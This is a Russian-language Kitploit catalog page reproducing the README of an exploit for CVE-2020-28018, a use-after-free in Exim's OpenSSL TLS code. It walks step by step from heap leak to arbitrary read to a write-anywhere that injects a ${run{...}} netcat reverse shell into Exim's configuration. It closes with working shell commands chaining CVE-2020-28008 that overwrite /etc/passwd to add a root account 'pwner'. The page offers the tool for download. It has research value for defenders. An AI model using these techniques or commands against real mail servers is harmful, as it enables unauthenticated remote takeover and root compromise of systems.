Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-28018 — exim use after free exploit and detection | Kitploit
Инструменты/GitHubGitHub/dorkerdevil/cve-2020-28018
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubdorkerdevil/cve-2020-28018

CVE-2020-28018

exim use after free exploit and detection

Репозиторий
715 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-28018: Use-after-free (UAF) в Exim, приводящий к RCE

Введение

Существует уязвимость Use-after-free (UAF) в tls-openssl.c, которая позволяет удаленным неаутентифицированным злоумышленникам повредить внутренние данные памяти, что в конечном итоге приводит к удаленному выполнению кода.

Примитивы:

  • Утечка памяти
  • Произвольное чтение
  • Примитив "Запись-куда-угодно"

Используя все эти примитивы в цепочке, можно полностью обойти все доступные механизмы защиты от эксплуатации, что в конечном итоге приводит к удаленному выполнению кода от имени пользователя exim.

Эта уязвимость была опубликована в составе большого списка уязвимостей; в официальном отчете Qualys Use-After-Free объединяется с CVE-2020-28008 для выполнения локального повышения привилегий (LPE) после достижения RCE.

Предварительные требования

Exim должен быть настроен/скомпилирован следующим образом:

  • TLS включен
  • Используется OpenSSL (вместо GnuTLS)
  • Exim является одной из уязвимых версий
  • X_PIPE_CONNECT отключен

Вы можете использовать скрипт checker.py, чтобы проверить, находится ли удаленный сервер на уязвимой версии и имеет ли необходимые требования для эксплуатации.

[!] checker.py НЕ вызывает уязвимость, а только проверяет наличие уязвимой версии, а также включены ли PIPELINING и TLS. Это означает, что данный чекер не проверяет наличие исправления, что может приводить к ложным срабатываниям.

Уязвимый код

Как мы уже знаем, уязвимость находится в tls-openssl.c.

root@kitploit:~
/*************************************************
*         Write bytes down TLS channel           *
*************************************************/

/*
Arguments:
  ct_ctx    client context pointer, or NULL for the one global server context
  buff      buffer of data
  len       number of bytes
  more	    further data expected soon

Returns:    the number of bytes after a successful write,
            -1 after a failed write

Used by both server-side and client-side TLS.
*/

int
tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
{
int outbytes, error, left;
SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
static gstring * corked = NULL;

DEBUG(D_tls) debug_printf("%s(%p, %lu%s)\n", __FUNCTION__,
  buff, (unsigned long)len, more ? ", more" : "");

/* Lacking a CORK or MSG_MORE facility (such as GnuTLS has) we copy data when
"more" is notified.  This hack is only ok if small amounts are involved AND only
one stream does it, in one context (i.e. no store reset).  Currently it is used
for the responses to the received SMTP MAIL , RCPT, DATA sequence, only. */
/*XXX + if PIPE_COMMAND, banner & ehlo-resp for smmtp-on-connect. Suspect there's
a store reset there. */

if (!ct_ctx && (more || corked))
  {
#ifdef EXPERIMENTAL_PIPE_CONNECT
  int save_pool = store_pool;
  store_pool = POOL_PERM;
#endif

  corked = string_catn(corked, buff, len);

#ifdef EXPERIMENTAL_PIPE_CONNECT
  store_pool = save_pool;
#endif

  if (more)
    return len;
  buff = CUS corked->s;
  len = corked->ptr;
  corked = NULL;
  }

for (left = len; left > 0;)
  {
  DEBUG(D_tls) debug_printf("SSL_write(%p, %p, %d)\n", ssl, buff, left);
  outbytes = SSL_write(ssl, CS buff, left);
  error = SSL_get_error(ssl, outbytes);
  DEBUG(D_tls) debug_printf("outbytes=%d error=%d\n", outbytes, error);
  switch (error)
    {
    case SSL_ERROR_SSL:
      ERR_error_string_n(ERR_get_error(), ssl_errstring, sizeof(ssl_errstring));
      log_write(0, LOG_MAIN, "TLS error (SSL_write): %s", ssl_errstring);
      return -1;

    case SSL_ERROR_NONE:
      left -= outbytes;
      buff += outbytes;
      break;

    case SSL_ERROR_ZERO_RETURN:
      log_write(0, LOG_MAIN, "SSL channel closed on write");
      return -1;

    case SSL_ERROR_SYSCALL:
      log_write(0, LOG_MAIN, "SSL_write: (from %s) syscall: %s",
	sender_fullhost ? sender_fullhost : US"<unknown>",
	strerror(errno));
      return -1;

    default:
      log_write(0, LOG_MAIN, "SSL_write error %d", error);
      return -1;
    }
  }
return len;
}

smtp_setup_msg() — это основная функция, выполняющая чтение сообщения от клиента.

В определенных ситуациях вызывается smtp_reset(), которая очищает все буферы и значения.

Это может происходить в таких ситуациях, как:

  • Получен HELO/EHLO
  • Получен STARTTLS
  • Получен RSET
  • В начале smtp_setup_msg()

В конце smtp_reset() вызывается store_reset().

store_reset — это макрос, оборачивающий функцию store_reset_3().

Функции store — это просто функции, управляющие динамической памятью.

Exim использует пуловой аллокатор для блоков, получаемых от malloc.

Также существует интересная функциональность — реализация расширяемых строк.

Структура gstring:

root@kitploit:~
typedef struct gstring {
  int   size;           /* Current capacity of string memory */
  int   ptr;            /* Offset at which to append further chars */
  uschar * s;           /* The string memory */
} gstring;

Когда требуется больше места для конкатенации новой строки, вызывается gstring_grow().

Эта функция сначала пытается вызвать store_extend_3(), которая пытается расширить память в рамках текущего блока пула.

Это может быть полезно, когда длина входных данных неизвестна, но если после нее было выделено больше памяти, расширить ее не удастся.

Затем gstring_grow() вызывает store_newblock_3(), которая просто возвращает новую память и копирует уже присутствующие байты из старой в новую.

Затем указатель g->s восстанавливается из gstring_catn().

В функции tls_write() мы видим BOOL с именем more.

Он указывает, нужно ли скопировать еще данные в строковый буфер перед возвратом данных пользователю.

Если да, указатель не обнуляется.

Если нет, то данные, содержащиеся в строковом буфере, возвращаются пользователю.

Эта функциональность открывает некоторые интересные способы вызвать Use-After-Free.

Во-первых, указатель на структуру gstring хранится в статической переменной, что означает, что при последующих вызовах tls_write() мы сможем его использовать.

Как мы можем освободить буфер, а затем иметь возможность его использовать?

Нам нужно, чтобы smtp_setup_msg() вызвала smtp_reset() после того, как один из наших буферов все еще находится в server_corked (не обнулен).

После сброса, если мы каким-то образом вызовем tls_write(), указатель все еще будет там, что позволит нам использовать его после освобождения памяти.

smtp_reset() освобождает всю память POOL_MAIN, в которой содержится наш буфер.

Вызов Use-After-Free

Чтобы контролировать Use-After-Free, нам сначала нужно инициализировать новое соединение.

Так как мы хотим эксплуатировать tls_write(), нам сначала нужно начать новую TLS-сессию.

Итак, сначала мы отправляем команду EHLO, за которой следует STARTTLS для запуска TLS-соединения.

Затем, чтобы more стал 1, мы конвейеризируем команду, и последней будет половина NOOP.

Мы закрываем TLS-соединение и отправляем оставшуюся часть команды NOOP.

Теперь мы снова отправляем EHLO, что вызовет smtp_reset и освободит наш буфер.

Теперь нам нужно запустить другое TLS-соединение, чтобы снова иметь возможность использовать tls_write().

Мы отправляем STARTTLS.

Теперь отправка любой команды серверу приведет к вызову tls_write() для возврата ответа.

Но... server_corked все еще содержит указатель на какое-то место в освобожденной памяти.

И эти данные могут быть использованы другими функциями, так как они освобождены... таким образом, наша структура gstring будет повреждена случайными двоичными данными.

Вот результат срабатывания UAF:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x54595c9c, 
  ptr = 0xa7e800ba, 
  s = 0x7e35043433160bd3 <error: Cannot access memory at address 0x7e35043433160bd3>
}
gef➤  p corked
$2 = (gstring *) 0x555ad3be1b58
gef➤  

Эта структура находится в таком состоянии как раз при входе в tls_write() для нашей команды после STARTTLS.

Очевидно, что попытка доступа к corked->s приводит к прерыванию SIGSEGV.

Эксплуатация

Как упоминается Qualys, для эксплуатации уязвимости используются три шага:

  1. Поскольку память уже освобождена, мы можем заставить Exim записать указатели на кучу из структур, таких как header_line, в наш буфер, так что когда будет вызвана tls_write(), эти данные будут возвращены пользователю. Таким образом, мы получаем утечку памяти для продолжения эксплуатации.
  2. Как только мы узнаем адреса памяти кучи, мы можем создать примитив произвольного чтения, чтобы начать читать кучу до тех пор, пока не найдем конфигурацию Exim.
  3. Наконец, последний шаг — создание примитива "запись-куда-угодно". Таким образом, мы сможем внедрить пользовательскую конфигурацию в буфер, найденный на шаге 2. Мы можем внедрить ${run{<команда>}}, где <команда> — это любая команда, которую злоумышленник хочет выполнить, например, обратная оболочка с использованием netcat. Эта конфигурация будет интерпретирована string_expand() и в конечном итоге выполнит команду.

Контроль условия Use-After-Free

Отлично, нам удалось вызвать Use-After-Free.

Теперь нам нужно хорошо контролировать UAF, чтобы успешно и надежно создавать наши примитивы.

К сожалению, после освобождения буферов из POOL_MAIN наш блок будет напрямую передан в free().

Это означает, что память будет доступна не только через store_get_3() или store_newblock_3(), но и через любую функцию, использующую malloc()... например, CRYPTO_zalloc() и многие другие.

В данном случае, где-то в tls_server_start(), память запрашивается через malloc().

Затем в нее копируются некоторые двоичные данные, повреждая нашу структуру gstring.

Нам нужен способ предотвратить это, чтобы мы могли достичь tls_write() с корректной структурой gstring, указывающей на допустимый адрес памяти; иначе произойдет прерывание SIGSEGV.

После понимания того, как работает пуловой аллокатор Exim, отладки и проб некоторых команд для изучения их поведения на стороне кучи, мы наконец можем избежать записи этих данных в нашу структуру gstring.

Утечка памяти

Как только мы успешно вызвали Use-After-Free и у нас нет проблем с повреждением структуры, нам нужно попытаться переместить кучу таким образом, чтобы функция записала адрес кучи в середину нашей строки (любую позицию до g->ptr).

Нам повезло, так как ответы, несмотря на то, что они являются обычным текстом (а не двоичным протоколом), позволяют отправлять нулевые байты обратно клиенту.

Почему так происходит?

Ответы отправляются обратно с помощью SSL_write(), проблем с нулевыми байтами нет.

А что насчет строк? string_catn() не обрезает нулевые байты, так как использует memcpy для копирования данных.

Единственный способ установить лимит — через g->ptr, но... так как адрес записывается до индекса g->ptr, все данные до него возвращаются нам, что приводит к утечке ценных адресов кучи.

Результат утечки памяти с помощью PoC:

Memory Leak

Произвольное чтение

Итак, мы раскрыли базу кучи...

И... адреса не меняются между соединениями... поэтому мы можем начать путь к RCE

Но... как нам перезаписать структуру gstring?

Оказалось, что это довольно просто, используя технику Qualys.

ESMTP добавил некоторые расширения к протоколу SMTP, например, параметры для команд MAIL FROM.

Использование большого параметра после последнего STARTTLS достаточно для перезаписи структуры :)

Результат:

root@kitploit:~
gef➤  p *corked
$1 = {
  size = 0x42424242, 
  ptr = 0x42424242, 
  s = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>
}

Полный контроль над структурой gstring.

Теперь пришло время создать наш примитив произвольного чтения.

Кажется, это просто... перезаписываем g->size и g->ptr большим значением.

Затем перезаписываем g->s адресом памяти, с которого хотим читать.

Когда команда завершится, будет вызвана tls_write() для возврата данных пользователю.

Поскольку указатель строкового буфера поврежден и указывает на произвольное местоположение атакующего, данные из этого местоположения будут возвращены.

Теперь мы можем реализовать функцию, которая перебирает блоки, читает и пытается найти ключевые слова, которые позволят нам узнать, является ли блок тем, который содержит конфигурацию Exim. Если да, то мы перейдем к последнему шагу.

Реализованная мной функция перебирает каждый блок размером READ_SZ вдоль кучи, начиная с базового адреса кучи.

root@kitploit:~
	[+] Leaked heap address = 0x55c846683d90
	[+] Leaked heap_base = 0x55c8465f4000

[*] Searching for Exim configuration in memory...

[+] Config found at: 0x55c8465f6328

Как только что-то найдено, переходим к последнему шагу.

Запись-куда-угодно

Отлично! Мы знаем базовый адрес кучи. И, что еще интереснее, мы знаем, где находится конфигурация Exim!

Теперь пришло время для RCE, не так ли?

Теперь нам нужно (каким-то образом) перезаписать конфигурацию exim и внедрить ${run{<команда>}}. Так что, когда будет выполнена string_expand(), наша команда будет интерпретирована, и в итоге мы получим произвольное выполнение команд.

Самый простой способ получить RCE — использовать netcat, поэтому просто используя nc в команде, мы получим оболочку.

Но... как нам создать такой примитив "запись-куда-угодно"?

Сначала мы должны перезаписать (как мы делали с примитивом произвольного чтения) структуру gstring.

Получив над ней контроль, мы можем сначала указать g->s на место, куда хотим записать; в данном случае это адрес конфигурации Exim.

Затем при следующей записи ответа в буфер ответ будет записан туда, куда указывает g->s :)

Но... как нам повредить структуру gstring и одновременно получить произвольный ответ?

Qualys не очень ясно объяснил это в своем отчете.

Нам нужно, чтобы команда "MAIL FROM" возвращала произвольные данные.

После нескольких попыток я решил, что лучшее решение — это сообщение об ошибке.

Мы можем выбрать ADDR - strlen("501 ").

Таким образом, эти четыре байта не повредят нашу цель.

Как заставить MAIL FROM завершиться неудачей? Я использую неправильного отправителя; так как отправитель требует домен, если домен не указан, сообщение об ошибке будет содержать данные, отправленные клиентом.

Но есть проблема. Поскольку мы отправляем NULL, возвращается такое сообщение: "501 NUL characters are not allowed in SMTP commands".

Так что все еще нет способа контролировать вывод, так как нам нужны NULL в запросе.

Мы не можем отправить другой "MAIL FROM", чтобы повредить ответы по той простой причине, что после срабатывания UAF more=0 и доступа к освобожденному буферу нет.

Но из handle_smtp_call(), если мы отправляем DATA, receive_msg(). Мы можем обмануть его, чтобы он не восстанавливал текущий пул, так что мы сможем немного подправить кучу, чтобы перезаписать освобожденный буфер.

Как только мы его перезаписываем, мы отправляем MAIL FROM с неверными данными, конвейеризированный с действительным. Ответ будет записан в указатель s.

Удаленное выполнение кода

После того, как мы достигли записи куда угодно, у меня возникли проблемы с прямым использованием netcat, так как требовались некоторые условия для количества аргументов. Поэтому я сделал: /bin/sh -c '<команда nc здесь>'.

Я перезаписал ACL MAIL FROM, так что конвейеризация второго MAIL FROM приводит к вызову expand_cstring() и, в конечном итоге, к выполнению моей произвольной команды.

Это скриншот после получения оболочки с помощью эксплойта:

RCE_CAP

Связка с CVE-2020-28008 LPE

root@kitploit:~
$ /bin/bash
$ cd /var/spool/exim4/db
$ rm -f retry*
$ ln -s -f /etc/passwd retry.passwd
$ /usr/sbin/exim4 -odf -oep postmaster < /dev/null
$ # creds => pwner:pwner
$ echo 'pwner:$6$4KB5snZ5jevx6TFa$VNdvb49sUfHhAQeKCkbpGVDnHUbnNfbpFh.QVjwIqvGlYsyKp8yoYrAfNDcG0XdtoQ2vT9LQPLml6XmCaVCOX/:18757:0:99999:7:::' >> /etc/passwd
$ su -l pwner
 * Enter pass: pwner *
# id
uid=0(root) gid=0(root) groups=0(root)
#

Информация о системе

Тесты проводились на debian:

root@kitploit:~
root@research:~# lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux 10 (buster)
Release:	10
Codename:	buster

С версией exim:

root@kitploit:~
root@research:~# exim --version
Exim version 4.92 #7 built 06-May-2021 19:31:44
Copyright (c) University of Cambridge, 1995 - 2018
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2018
Berkeley DB: Berkeley DB 5.3.28: (September  9, 2013)
Support for: crypteq iconv() OpenSSL DANE DKIM DNSSEC Event OCSP PRDR TCP_Fast_Open
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb passwd
Authenticators: cram_md5 plaintext
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
Configuration file is /var/lib/exim4/config.autogenerated

Моя версия Exim скомпилирована самостоятельно, но я повторил флаги компиляции, используемые в основной версии Debian.

Конфигурация такая же, как у Debian по умолчанию, плюс некоторые незначительные изменения.

Настройка среды

В этом репозитории есть каталог exim-4.92. Это исходный код exim.

Сначала установите exim с помощью менеджера пакетов apt.

Загрузите каталог exim и каталог config на машину.

Сначала скопируйте config/Makefile в exim-4.92/Local. Затем скопируйте config/eximon.conf в exim-4.92/Local.

Теперь запустите make, будет создан каталог build-linux-*, перейдите в него и замените все вхождения "-O2" на "-O0".

Проделайте то же самое в каталоге OS/. Наконец, в build-linux-* добавьте -g в переменную CFLAGS.

Рекомендуется добавить libc и исходный код exim в gdb.

Теперь make и make install.

cp /usr/exim/bin/* /usr/sbin/ cp /usr/sbin/exim /usr/sbin/exim4

Я использовал этот скрипт для генерации сертификатов: https://github.com/volumio/RootFS/blob/master/usr/share/doc/exim4-base/examples/exim-gencert

Наконец, включите TLS в конфигурации exim4 в /etc/exim4 и используйте /etc/exim4/exim.crt и /etc/exim4/exim.key, сгенерированные bash-скриптом.

В конце: sudo update-exim4.conf && systemctl restart exim4

Проверьте systemctl status exim4, чтобы убедиться, что все в порядке.

Если после попытки STARTTLS вы получаете сообщение об ошибке "TLS not currently available", проверьте журналы exim4.

У меня возникла проблема из-за того, что ключ, который я использовал для сертификатов, был слишком коротким. Поэтому измените количество бит ключа в ранее упомянутом скрипте gencert (я использую 4096).

Дополнительная информация

Для получения дополнительной информации посетите официальный отчет Qualys

Скачать инструмент